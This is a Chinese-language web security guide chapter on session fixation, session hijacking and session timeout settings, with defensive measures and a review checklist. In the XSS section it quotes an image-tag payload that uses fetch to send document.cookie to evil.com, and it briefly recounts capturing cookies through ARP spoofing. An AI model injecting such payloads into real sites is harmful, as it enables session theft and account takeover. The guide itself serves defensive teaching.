3. 会话管理漏洞:会话固定攻击、会话劫持(XSS/网络嗅探)、会话超时设置不当
聊到身份认证,很多人第一反应是登录页面、密码策略、多因子认证。但说实话,真正让我在项目里栽过跟头的,往往是登录之后的事——会话管理。
你想想看,用户辛辛苦苦输完密码、过了验证,拿到一个会话令牌。接下来所有的操作,服务器都认这个令牌。如果令牌出了问题,那前面的认证做得再好,也等于白搭。
这一章,我就把会话管理里最常见的三个坑掰开揉碎讲清楚:会话固定、会话劫持、还有那个总被忽视的超时设置。
3.1 会话固定攻击:攻击者给你“发”了一个会话
会话固定攻击,说白了就是攻击者先自己搞到一个有效的会话ID,然后想方设法让受害者用这个ID去登录。
举个例子。攻击者访问网站,服务器给他分配了一个会话ID,比如 SESSIONID=ABC123。然后攻击者把这个ID通过邮件、链接或者恶意页面发给受害者。受害者点开链接,用这个 ABC123 登录了系统。登录成功后,服务器没有重新生成会话ID,还是用 ABC123。这时候攻击者拿着自己的 ABC123 刷新页面——嘿,直接进了受害者的账户。
我在一次金融应用的渗透测试里就遇到过这种情况。登录接口完全没做会话重置,攻击者只要在登录前把会话ID塞给受害者,登录后就能直接接管。当时客户还觉得“登录页有验证码就够了”,结果验证码防的是暴力破解,会话固定攻击根本不走那条路。
防御方案其实不复杂:
- 登录后重置会话ID:这是最核心的措施。PHP 用
session_regenerate_id(true),Java 用request.changeSessionId(),.NET 用Session.Abandon()配合新会话创建。 - 拒绝URL中的会话ID:永远不要通过 GET 参数传递会话令牌。只接受 Cookie 或 Authorization Header。
- 设置 Cookie 属性:
HttpOnly、Secure、SameSite三件套拉满。
3.2 会话劫持:令牌被偷了
会话劫持和会话固定正好相反。固定是攻击者“给”你一个令牌,劫持是攻击者“偷”你的令牌。
偷令牌的手段主要有两种:XSS 和网络嗅探。
3.2.1 通过 XSS 窃取会话
如果网站存在存储型或反射型 XSS,攻击者可以注入一段脚本,把 document.cookie 发到自己的服务器。我见过一个真实案例:某论坛的评论区没做输出编码,攻击者在帖子里插了一段 <img src=x onerror="fetch('http://evil.com/steal?c='+document.cookie)">。管理员一审核帖子,会话直接被偷。
防御要点:
- 输出编码:所有用户输入在输出到 HTML 前必须做上下文相关的编码(HTML实体、JavaScript编码、CSS编码等)。
- HttpOnly Cookie:设置
Set-Cookie: SESSIONID=xxx; HttpOnly,这样 JavaScript 就读取不到document.cookie了。 - Content Security Policy:通过 CSP 限制脚本来源,即使有 XSS 也能阻止外连。
3.2.2 通过网络嗅探窃取会话
如果网站没有启用 HTTPS,或者 HTTPS 配置有问题(比如混合内容、HSTS 缺失),攻击者在同一 Wi-Fi 下用 Wireshark 就能抓到明文传输的 Cookie。
我记得有一次帮客户做内网渗透测试,他们的内部管理系统跑在 HTTP 上。我在会议室用笔记本开了个 ARP 欺骗,几分钟就抓到了管理员的会话 Cookie。直接复制到浏览器里,系统就认了——连密码都不用猜。
防御方案:
- 全站 HTTPS:不只是登录页,是所有页面。一个 HTTP 页面就能把 Cookie 暴露出去。
- HSTS:通过
Strict-Transport-Security头告诉浏览器,这个域名只能用 HTTPS 访问。 - Secure Flag:Cookie 设置
Secure属性,确保只在 HTTPS 连接中传输。
3.3 会话超时设置不当:太长或太短都是问题
会话超时这个点,说实话,很多开发团队都不太重视。要么设个 30 分钟完事,要么干脆不设超时。但这里面的门道不少。
| 超时策略 | 风险 | 适用场景 |
|---|---|---|
| 超时过长(>2小时) | 令牌暴露窗口大,公共电脑上容易被后续用户利用 | 内部管理系统(需配合 IP 绑定) |
| 超时过短(<5分钟) | 用户体验差,频繁重新登录,可能丢失未保存数据 | 金融交易、支付页面 |
| 无超时(永久有效) | 令牌一旦泄露,攻击者可永久使用 | 绝对不推荐 |
| 滑动窗口超时 | 用户持续操作时自动续期,但长期不操作会过期 | 大多数 Web 应用(推荐) |
我个人比较推荐的做法是:绝对超时 + 滑动窗口。比如绝对超时设 8 小时(强制重新登录),滑动窗口设 30 分钟(无操作 30 分钟过期)。这样既保证了安全性,又不会让活跃用户频繁被打断。
实现上要注意几点:
- 超时检查必须在服务端做,不能依赖前端 JavaScript 定时器(客户端时间可篡改)。
- 超时后不仅要清除会话数据,还要在前端做跳转或弹窗提示。
- 敏感操作(转账、改密、删数据)建议在操作前做一次会话有效性验证,甚至要求用户重新输入密码。
3.4 综合防御清单
最后,我把会话管理的核心防御措施整理成一个清单。你在做代码审查或者安全测试时,可以逐条对照:
- 登录后重置会话ID——防会话固定
- Cookie 设置 HttpOnly、Secure、SameSite——防 XSS 窃取和嗅探
- 全站 HTTPS + HSTS——防网络嗅探
- 服务端会话超时(绝对+滑动)——防令牌长期有效
- 敏感操作二次验证——即使会话被劫持,也能增加一道防线
- 绑定客户端指纹——将会话与 IP、User-Agent、TLS 指纹绑定(注意 IP 在移动网络下会变,需要权衡)
- 会话注销时彻底清除——服务端删除会话记录,客户端清除 Cookie
Set-Cookie,然后对比登录前后的 Cookie 值是否变化。如果没变,基本可以判定存在会话固定漏洞。这个检查 30 秒就能完成,但能发现大量低级问题。